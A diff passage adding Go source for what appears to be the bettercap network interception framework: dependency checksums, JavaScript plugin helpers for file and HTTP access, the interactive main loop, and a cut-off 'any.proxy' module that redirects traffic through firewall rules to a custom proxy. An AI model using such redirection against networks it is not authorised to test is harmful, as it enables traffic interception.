+github.com/malfunkt/iprange v0.9.0/go.mod h1:TRGqO/f95gh3LOndUGTL46+W0GXA91WTqyZ0Quwvt4U=
+github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
+github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
+github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
+github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
+github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b h1:r12blE3QRYlW1WBiBEe007O6NrTb/P54OjR5d4WLEGk=
+github.com/mdlayher/dhcp6 v0.0.0-20190311162359-2a67805d7d0b/go.mod h1:p4K2+UAoap8Jzsadsxc0KG0OZjmmCthTPUyZqAVkjBY=
+github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d h1:5PJl274Y63IEHC+7izoQE9x6ikvDFZS2mDVS3drnohI=
+github.com/mgutz/ansi v0.0.0-20200706080929-d51e80ef957d/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
+github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab h1:n8cgpHzJ5+EDyDri2s/GC7a9+qK3/YEGnBsd0uS/8PY=
+github.com/mgutz/logxi v0.0.0-20161027140823-aebf8a7d67ab/go.mod h1:y1pL58r5z2VvAjeG1VLGc8zOQgSOzbKN7kMHPvFXJ+8=
+github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=
+github.com/miekg/dns v1.1.43 h1:JKfpVSCB84vrAmHzyrsxB5NAr5kLoMXZArPSw7Qlgyg=
+github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
+github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
+github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
+github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4=
+github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0=
+github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
+github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
+github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452 h1:ewTtJ72GFy2e0e8uyiDwMG3pKCS5mBh+hdSTYsPKEP8=
+github.com/robertkrimen/otto v0.0.0-20210614181706-373ff5438452/go.mod h1:xvqspoSXJTIpemEonrMDFq6XzwHYYgToXWj5eRX1OtY=
+github.com/rogpeppe/go-charset v0.0.0-20180617210344-2471d30d28b4/go.mod h1:qgYeAmZ5ZIpBWTGllZSQnw97Dj+woV0toclVaRGI8pc=
+github.com/stratoberry/go-gpsd v1.0.0 h1:wDfZWGKlt0oqfi4nLjiqxJeKPIs/qMLbiO5fuUi7QCg=
+github.com/stratoberry/go-gpsd v1.0.0/go.mod h1:AiDv9UF/0tKQBVmL7iojbxXhq36cY1/El3AuhfCK2Co=
+github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
+github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
+github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
+github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
+github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07 h1:UyzmZLoiDWMRywV4DUYb9Fbt8uiOSooupjTq10vpvnU=
+github.com/tarm/serial v0.0.0-20180830185346-98f6abe2eb07/go.mod h1:kDXzergiv9cbyO7IOYJZWg1U88JhDg3PB6klq9Hg2pA=
+github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64 h1:l/T7dYuJEQZOwVOpjIXr1180aM9PZL/d1MnMVIxefX4=
+github.com/thoj/go-ircevent v0.0.0-20210723090443-73e444401d64/go.mod h1:Q1NAJOuRdQCqN/VIWdnaaEhV8LpeO2rtlBP7/iDJNII=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=
+golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=
+golang.org/x/net v0.0.0-20190310074541-c10a0554eabf/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8=
+golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d h1:LO7XpTYMwTqxjLcGWPijK3vRXg1aWdlNOVOHRq45d7c=
+golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20210220032951-036812b2e83c h1:5KslGYwFpkhGh+Q16bwMP3cOontH8FOep7tGV86Y7SQ=
+golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55 h1:rw6UNGRMfarCepjI8qOepea/SXwIBVfTKjztZ5gBbq4=
+golang.org/x/sys v0.0.0-20210820121016-41cdb8703e55/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/sourcemap.v1 v1.0.5 h1:inv58fC9f9J3TK2Y2R1NPntXEn3/wjWHkonhIUODNTI=
+gopkg.in/sourcemap.v1 v1.0.5/go.mod h1:2RlvNNSMglmRrcvhfuzp4hQHwOtjxlbjX7UPY/GXb78=
+gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo=
+gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=

+ 90 - 0
bettercap/js/data.go

@@ -0,0 +1,90 @@
+package js
+
+import (
+	"bytes"
+	"compress/gzip"
+	"encoding/base64"
+
+	"github.com/robertkrimen/otto"
+)
+
+func btoa(call otto.FunctionCall) otto.Value {
+	varValue := base64.StdEncoding.EncodeToString([]byte(call.Argument(0).String()))
+	v, err := otto.ToValue(varValue)
+	if err != nil {
+		return ReportError("Could not convert to string: %s", varValue)
+	}
+
+	return v
+}
+
+func atob(call otto.FunctionCall) otto.Value {
+	varValue, err := base64.StdEncoding.DecodeString(call.Argument(0).String())
+	if err != nil {
+		return ReportError("Could not decode string: %s", call.Argument(0).String())
+	}
+
+	v, err := otto.ToValue(string(varValue))
+	if err != nil {
+		return ReportError("Could not convert to string: %s", varValue)
+	}
+
+	return v
+}
+
+func gzipCompress(call otto.FunctionCall) otto.Value {
+	argv := call.ArgumentList
+	argc := len(argv)
+	if argc != 1 {
+		return ReportError("gzipCompress: expected 1 argument, %d given instead.", argc)
+	}
+
+	uncompressedBytes := []byte(argv[0].String())
+
+	var writerBuffer bytes.Buffer
+	gzipWriter := gzip.NewWriter(&writerBuffer)
+	_, err := gzipWriter.Write(uncompressedBytes)
+	if err != nil {
+		return ReportError("gzipCompress: could not compress data: %s", err.Error())
+	}
+	gzipWriter.Close()
+
+	compressedBytes := writerBuffer.Bytes()
+
+	v, err := otto.ToValue(string(compressedBytes))
+	if err != nil {
+		return ReportError("Could not convert to string: %s", err.Error())
+	}
+
+	return v
+}
+
+func gzipDecompress(call otto.FunctionCall) otto.Value {
+	argv := call.ArgumentList
+	argc := len(argv)
+	if argc != 1 {
+		return ReportError("gzipDecompress: expected 1 argument, %d given instead.", argc)
+	}
+
+	compressedBytes := []byte(argv[0].String())
+	readerBuffer := bytes.NewBuffer(compressedBytes)
+
+	gzipReader, err := gzip.NewReader(readerBuffer)
+	if err != nil {
+		return ReportError("gzipDecompress: could not create gzip reader: %s", err.Error())
+	}
+
+	var decompressedBuffer bytes.Buffer
+	_, err = decompressedBuffer.ReadFrom(gzipReader)
+	if err != nil {
+		return ReportError("gzipDecompress: could not decompress data: %s", err.Error())
+	}
+
+	decompressedBytes := decompressedBuffer.Bytes()
+	v, err := otto.ToValue(string(decompressedBytes))
+	if err != nil {
+		return ReportError("Could not convert to string: %s", err.Error())
+	}
+
+	return v
+}

+ 70 - 0
bettercap/js/fs.go

@@ -0,0 +1,70 @@
+package js
+
+import (
+	"github.com/robertkrimen/otto"
+	"io/ioutil"
+)
+
+func readDir(call otto.FunctionCall) otto.Value {
+	argv := call.ArgumentList
+	argc := len(argv)
+	if argc != 1 {
+		return ReportError("readDir: expected 1 argument, %d given instead.", argc)
+	}
+
+	path := argv[0].String()
+	dir, err := ioutil.ReadDir(path)
+	if err != nil {
+		return ReportError("Could not read directory %s: %s", path, err)
+	}
+
+	entry_list := []string{}
+	for _, file := range dir {
+		entry_list = append(entry_list, file.Name())
+	}
+
+	v, err := otto.Otto.ToValue(*call.Otto, entry_list)
+	if err != nil {
+		return ReportError("Could not convert to array: %s", err)
+	}
+
+	return v
+}
+
+func readFile(call otto.FunctionCall) otto.Value {
+	argv := call.ArgumentList
+	argc := len(argv)
+	if argc != 1 {
+		return ReportError("readFile: expected 1 argument, %d given instead.", argc)
+	}
+
+	filename := argv[0].String()
+	raw, err := ioutil.ReadFile(filename)
+	if err != nil {
+		return ReportError("Could not read file %s: %s", filename, err)
+	}
+
+	v, err := otto.ToValue(string(raw))
+	if err != nil {
+		return ReportError("Could not convert to string: %s", err)
+	}
+	return v
+}
+
+func writeFile(call otto.FunctionCall) otto.Value {
+	argv := call.ArgumentList
+	argc := len(argv)
+	if argc != 2 {
+		return ReportError("writeFile: expected 2 arguments, %d given instead.", argc)
+	}
+
+	filename := argv[0].String()
+	data := argv[1].String()
+
+	err := ioutil.WriteFile(filename, []byte(data), 0644)
+	if err != nil {
+		return ReportError("Could not write %d bytes to %s: %s", len(data), filename, err)
+	}
+
+	return otto.NullValue()
+}

+ 156 - 0
bettercap/js/http.go

@@ -0,0 +1,156 @@
+package js
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"net/http"
+	"net/url"
+	"strings"
+
+	"github.com/robertkrimen/otto"
+)
+
+type httpPackage struct {
+}
+
+type httpResponse struct {
+	Error    error
+	Response *http.Response
+	Raw      []byte
+	Body     string
+	JSON     interface{}
+}
+
+func (c httpPackage) Encode(s string) string {
+	return url.QueryEscape(s)
+}
+
+func (c httpPackage) Request(method string, uri string,
+	headers map[string]string,
+	form map[string]string,
+	json string) httpResponse {
+	var reader io.Reader
+
+	if form != nil {
+		data := url.Values{}
+		for k, v := range form {
+			data.Set(k, v)
+		}
+		reader = bytes.NewBufferString(data.Encode())
+	} else if json != "" {
+		reader = strings.NewReader(json)
+	}
+
+	req, err := http.NewRequest(method, uri, reader)
+	if err != nil {
+		return httpResponse{Error: err}
+	}
+
+	if form != nil {
+		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	} else if json != "" {
+		req.Header.Set("Content-Type", "application/json")
+	}
+
+	for name, value := range headers {
+		req.Header.Add(name, value)
+	}
+
+	resp, err := http.DefaultClient.Do(req)
+	if err != nil {
+		return httpResponse{Error: err}
+	}
+	defer resp.Body.Close()
+
+	raw, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return httpResponse{Error: err}
+	}
+
+	res := httpResponse{
+		Response: resp,
+		Raw:      raw,
+		Body:     string(raw),
+	}
+
+	if resp.StatusCode != http.StatusOK {
+		res.Error = fmt.Errorf("%s", resp.Status)
+	}
+
+	return res
+}
+
+func (c httpPackage) Get(url string, headers map[string]string) httpResponse {
+	return c.Request("GET", url, headers, nil, "")
+}
+
+func (c httpPackage) PostForm(url string, headers map[string]string, form map[string]string) httpResponse {
+	return c.Request("POST", url, headers, form, "")
+}
+
+func (c httpPackage) PostJSON(url string, headers map[string]string, json string) httpResponse {
+	return c.Request("POST", url, headers, nil, json)
+}
+
+func httpRequest(call otto.FunctionCall) otto.Value {
+	argv := call.ArgumentList
+	argc := len(argv)
+	if argc < 2 {
+		return ReportError("httpRequest: expected 2 or more, %d given instead.", argc)
+	}
+
+	method := argv[0].String()
+	url := argv[1].String()
+
+	client := &http.Client{}
+	req, err := http.NewRequest(method, url, nil)
+	if argc >= 3 {
+		data := argv[2].String()
+		req, err = http.NewRequest(method, url, bytes.NewBuffer([]byte(data)))
+		if err != nil {
+			return ReportError("Could create request to url %s: %s", url, err)
+		}
+
+		if argc > 3 {
+			headers := argv[3].Object()
+			for _, key := range headers.Keys() {
+				v, err := headers.Get(key)
+				if err != nil {
+					return ReportError("Could add header %s to request: %s", key, err)
+				}
+				req.Header.Add(key, v.String())
+			}
+		}
+	} else if err != nil {
+		return ReportError("Could create request to url %s: %s", url, err)
+	}
+
+	resp, err := client.Do(req)
+	if err != nil {
+		return ReportError("Could not request url %s: %s", url, err)
+	}
+	defer resp.Body.Close()
+
+	body, err := ioutil.ReadAll(resp.Body)
+	if err != nil {
+		return ReportError("Could not read response: %s", err)
+	}
+
+	object, err := otto.New().Object("({})")
+	if err != nil {
+		return ReportError("Could not create response object: %s", err)
+	}
+
+	err = object.Set("body", string(body))
+	if err != nil {
+		return ReportError("Could not populate response object: %s", err)
+	}
+
+	v, err := otto.ToValue(object)
+	if err != nil {
+		return ReportError("Could not convert to object: %s", err)
+	}
+	return v
+}

+ 39 - 0
bettercap/js/init.go

@@ -0,0 +1,39 @@
+package js
+
+import (
+	"github.com/evilsocket/islazy/log"
+	"github.com/evilsocket/islazy/plugin"
+	"github.com/robertkrimen/otto"
+)
+
+var NullValue = otto.Value{}
+
+func ReportError(format string, args ...interface{}) otto.Value {
+	log.Error(format, args...)
+	return NullValue
+}
+
+func init() {
+	// TODO: refactor this in packages
+
+	plugin.Defines["readDir"] = readDir
+	plugin.Defines["readFile"] = readFile
+	plugin.Defines["writeFile"] = writeFile
+
+	plugin.Defines["log"] = flog
+	plugin.Defines["log_debug"] = log_debug
+	plugin.Defines["log_info"] = log_info
+	plugin.Defines["log_warn"] = log_warn
+	plugin.Defines["log_error"] = log_error
+	plugin.Defines["log_fatal"] = log_fatal
+
+	plugin.Defines["btoa"] = btoa
+	plugin.Defines["atob"] = atob
+	plugin.Defines["gzipCompress"] = gzipCompress
+	plugin.Defines["gzipDecompress"] = gzipDecompress
+
+	plugin.Defines["httpRequest"] = httpRequest
+	plugin.Defines["http"] = httpPackage{}
+
+	plugin.Defines["random"] = randomPackage{}
+}

+ 48 - 0
bettercap/js/log.go

@@ -0,0 +1,48 @@
+package js
+
+import (
+	"github.com/evilsocket/islazy/log"
+	"github.com/robertkrimen/otto"
+)
+
+func flog(call otto.FunctionCall) otto.Value {
+	for _, v := range call.ArgumentList {
+		log.Info("%s", v.String())
+	}
+	return otto.Value{}
+}
+
+func log_debug(call otto.FunctionCall) otto.Value {
+	for _, v := range call.ArgumentList {
+		log.Debug("%s", v.String())
+	}
+	return otto.Value{}
+}
+
+func log_info(call otto.FunctionCall) otto.Value {
+	for _, v := range call.ArgumentList {
+		log.Info("%s", v.String())
+	}
+	return otto.Value{}
+}
+
+func log_warn(call otto.FunctionCall) otto.Value {
+	for _, v := range call.ArgumentList {
+		log.Warning("%s", v.String())
+	}
+	return otto.Value{}
+}
+
+func log_error(call otto.FunctionCall) otto.Value {
+	for _, v := range call.ArgumentList {
+		log.Error("%s", v.String())
+	}
+	return otto.Value{}
+}
+
+func log_fatal(call otto.FunctionCall) otto.Value {
+	for _, v := range call.ArgumentList {
+		log.Fatal("%s", v.String())
+	}
+	return otto.Value{}
+}

+ 26 - 0
bettercap/js/random.go

@@ -0,0 +1,26 @@
+package js
+
+import (
+	"math/rand"
+	"net"
+	"github.com/bettercap/bettercap/network"
+)
+
+type randomPackage struct {
+}
+
+func (c randomPackage) String(size int, charset string) string {
+	runes := []rune(charset)
+	nrunes := len(runes)
+	buf := make([]rune, size)
+	for i := range buf {
+		buf[i] = runes[rand.Intn(nrunes)]
+	}
+	return string(buf)
+}
+
+func (c randomPackage) Mac() string {
+	hw := make([]byte, 6)
+	rand.Read(hw)
+	return network.NormalizeMac(net.HardwareAddr(hw).String())
+}

+ 2 - 0
bettercap/log/doc.go

@@ -0,0 +1,2 @@
+// Package log contains a transparent interface for logging which interacts with the system event queue.
+package log

+ 27 - 0
bettercap/log/log.go

@@ -0,0 +1,27 @@
+package log
+
+import (
+	"github.com/bettercap/bettercap/session"
+
+	ll "github.com/evilsocket/islazy/log"
+)
+
+func Debug(format string, args ...interface{}) {
+	session.I.Events.Log(ll.DEBUG, format, args...)
+}
+
+func Info(format string, args ...interface{}) {
+	session.I.Events.Log(ll.INFO, format, args...)
+}
+
+func Warning(format string, args ...interface{}) {
+	session.I.Events.Log(ll.WARNING, format, args...)
+}
+
+func Error(format string, args ...interface{}) {
+	session.I.Events.Log(ll.ERROR, format, args...)
+}
+
+func Fatal(format string, args ...interface{}) {
+	session.I.Events.Log(ll.FATAL, format, args...)
+}

+ 107 - 0
bettercap/main.go

@@ -0,0 +1,107 @@
+package main
+
+import (
+	"fmt"
+	"io"
+	"os"
+	"strings"
+
+	"runtime"
+
+	"github.com/bettercap/bettercap/core"
+	"github.com/bettercap/bettercap/log"
+	"github.com/bettercap/bettercap/modules"
+	"github.com/bettercap/bettercap/session"
+
+	"github.com/evilsocket/islazy/str"
+	"github.com/evilsocket/islazy/tui"
+)
+
+func main() {
+	sess, err := session.New()
+	if err != nil {
+		fmt.Println(err)
+		os.Exit(1)
+	}
+	defer sess.Close()
+
+	if !tui.Effects() {
+		if *sess.Options.NoColors {
+			fmt.Printf("\n\nWARNING: Terminal colors have been disabled, view will be very limited.\n\n")
+		} else {
+			fmt.Printf("\n\nWARNING: This terminal does not support colors, view will be very limited.\n\n")
+		}
+	}
+
+	if *sess.Options.PrintVersion {
+		fmt.Printf("%s v%s (built for %s %s with %s)\n", core.Name, core.Version, runtime.GOOS, runtime.GOARCH, runtime.Version())
+		return
+	}
+
+	appName := fmt.Sprintf("%s v%s", core.Name, core.Version)
+	appBuild := fmt.Sprintf("(built for %s %s with %s)", runtime.GOOS, runtime.GOARCH, runtime.Version())
+
+	fmt.Printf("%s %s [type '%s' for a list of commands]\n\n", tui.Bold(appName), tui.Dim(appBuild), tui.Bold("help"))
+
+	// Load all modules
+	modules.LoadModules(sess)
+
+	if err = sess.Start(); err != nil {
+		log.Fatal("%s", err)
+	}
+
+	// Some modules are enabled by default in order
+	// to make the interactive session useful.
+	for _, modName := range str.Comma(*sess.Options.AutoStart) {
+		if err = sess.Run(modName + " on"); err != nil {
+			log.Fatal("error while starting module %s: %s", modName, err)
+		}
+	}
+
+	// Commands sent with -eval are used to set specific
+	// caplet parameters (i.e. arp.spoof.targets) via command
+	// line, therefore they need to be executed first otherwise
+	// modules might already be started.
+	for _, cmd := range session.ParseCommands(*sess.Options.Commands) {
+		if err = sess.Run(cmd); err != nil {
+			log.Error("error while running '%s': %s", tui.Bold(cmd), tui.Red(err.Error()))
+		}
+	}
+
+	// Then run the caplet if specified.
+	if *sess.Options.Caplet != "" {
+		if err = sess.RunCaplet(*sess.Options.Caplet); err != nil {
+			log.Error("error while running caplet %s: %s", tui.Bold(*sess.Options.Caplet), tui.Red(err.Error()))
+		}
+	}
+
+	// Eventually start the interactive session.
+	for sess.Active {
+		line, err := sess.ReadLine()
+		if err != nil {
+			if err == io.EOF || err.Error() == "Interrupt" {
+				if exitPrompt() {
+					sess.Run("exit")
+					os.Exit(0)
+				}
+				continue
+			} else {
+				log.Fatal("%s", err)
+			}
+		}
+
+		for _, cmd := range session.ParseCommands(line) {
+			if err = sess.Run(cmd); err != nil {
+				log.Error("%s", err)
+			}
+		}
+	}
+}
+
+func exitPrompt() bool {
+	var ans string
+	fmt.Printf("Are you sure you want to quit this session? y/n ")
+	fmt.Scan(&ans)
+
+	return strings.ToLower(ans) == "y"
+}

+ 188 - 0
bettercap/modules/any_proxy/any_proxy.go

@@ -0,0 +1,188 @@
+package any_proxy
+
+import (
+	"fmt"
+	"github.com/bettercap/bettercap/firewall"
+	"github.com/bettercap/bettercap/session"
+	"github.com/evilsocket/islazy/str"
+	"strconv"
+	"strings"
+)
+
+type AnyProxy struct {
+	session.SessionModule
+	// not using map[int]*firewall.Redirection to preserve order
+	ports        []int
+	redirections []*firewall.Redirection
+}
+
+func NewAnyProxy(s *session.Session) *AnyProxy {
+	mod := &AnyProxy{
+		SessionModule: session.NewSessionModule("any.proxy", s),
+	}
+
+	mod.AddParam(session.NewStringParameter("any.proxy.iface",
+		session.ParamIfaceName,
+		"",
+		"Interface to redirect packets from."))
+
+	mod.AddParam(session.NewStringParameter("any.proxy.protocol",
+		"TCP",
+		"(TCP|UDP)",
+		"Proxy protocol."))
+
+	mod.AddParam(session.NewStringParameter("any.proxy.src_port",
+		"80",
+		"",
+		"Remote port to redirect when the module is activated, "+
+			"also supported a comma separated list of ports and/or port-ranges."))
+
+	mod.AddParam(session.NewStringParameter("any.proxy.src_address",
+		"",
+		"",
+		"Leave empty to intercept any source address."))
+
+	mod.AddParam(session.NewStringParameter("any.proxy.dst_address",
+		session.ParamIfaceAddress,
+		"",
+		"Address where the proxy is listening."))
+
+	mod.AddParam(session.NewIntParameter("any.proxy.dst_port",
+		"8080",
+		"Port where the proxy is listening."))
+
+	mod.AddHandler(session.NewModuleHandler("any.proxy on", "",
+		"Start the custom proxy redirection.",
+		func(args []string) error {
+			return mod.Start()
+		}))
+
+	mod.AddHandler(session.NewModuleHandler("any.proxy off", "",
+		"Stop the custom proxy redirection.",
+		func(args []string) error {
+			return mod.Stop()
+		}))
+
+	return mod
+}
+
+func (mod *AnyProxy) Name() string {
+	return "any.proxy"
+}
+
+func (mod *AnyProxy) Description() string {
+	return "A firewall redirection to any custom proxy."
+}
+
+func (mod *AnyProxy) Author() string {
+	return "Simone Margaritelli <evilsocket@gmail.com>"
+}
+
+func (mod *AnyProxy) Configure() error {
+	var err error
+	var srcPorts string
+	var dstPort int
+	var iface string
+	var protocol string
+	var srcAddress string
+	var dstAddress string
+
+	if mod.Running() {
+		return session.ErrAlreadyStarted(mod.Name())
+	} else if err, iface = mod.StringParam("any.proxy.iface"); err != nil {
+		return err
+	} else if err, protocol = mod.StringParam("any.proxy.protocol"); err != nil {
+		return err
+	} else if err, dstPort = mod.IntParam("any.proxy.dst_port"); err != nil {
+		return err
+	} else if err, srcAddress = mod.StringParam("any.proxy.src_address"); err != nil {
+		return err
+	} else if err, dstAddress = mod.StringParam("any.proxy.dst_address"); err != nil {
+		return err
+	}
+
+	if err, srcPorts = mod.StringParam("any.proxy.src_port"); err != nil {
+		return err
+	} else {
+		var ports []int
+		// srcPorts can be a single port, a list of ports or a list of ranges, or a mix.
+		for _, token := range str.Comma(str.Trim(srcPorts)) {
+			if p, err := strconv.Atoi(token); err == nil {
+				// simple case, integer port
+				ports = append(ports, p)
+			} else if strings.Contains(token, "-") {
+				// port range
+				if parts := strings.Split(token, "-"); len(parts) == 2 {
+					if from, err := strconv.Atoi(str.Trim(parts[0])); err != nil {
+						return fmt.Errorf("invalid start port %s: %s", parts[0], err)
+					} else if from < 1 || from > 65535 {
+						return fmt.Errorf("port %s out of valid range", parts[0])
+					} else if to, err := strconv.Atoi(str.Trim(parts[1])); err != nil {
+						return fmt.Errorf("invalid end port %s: %s", parts[1], err)
+					} else if to < 1 || to > 65535 {
+						return fmt.Errorf("port %s out of valid range", parts[1])
+					} else if from > to {
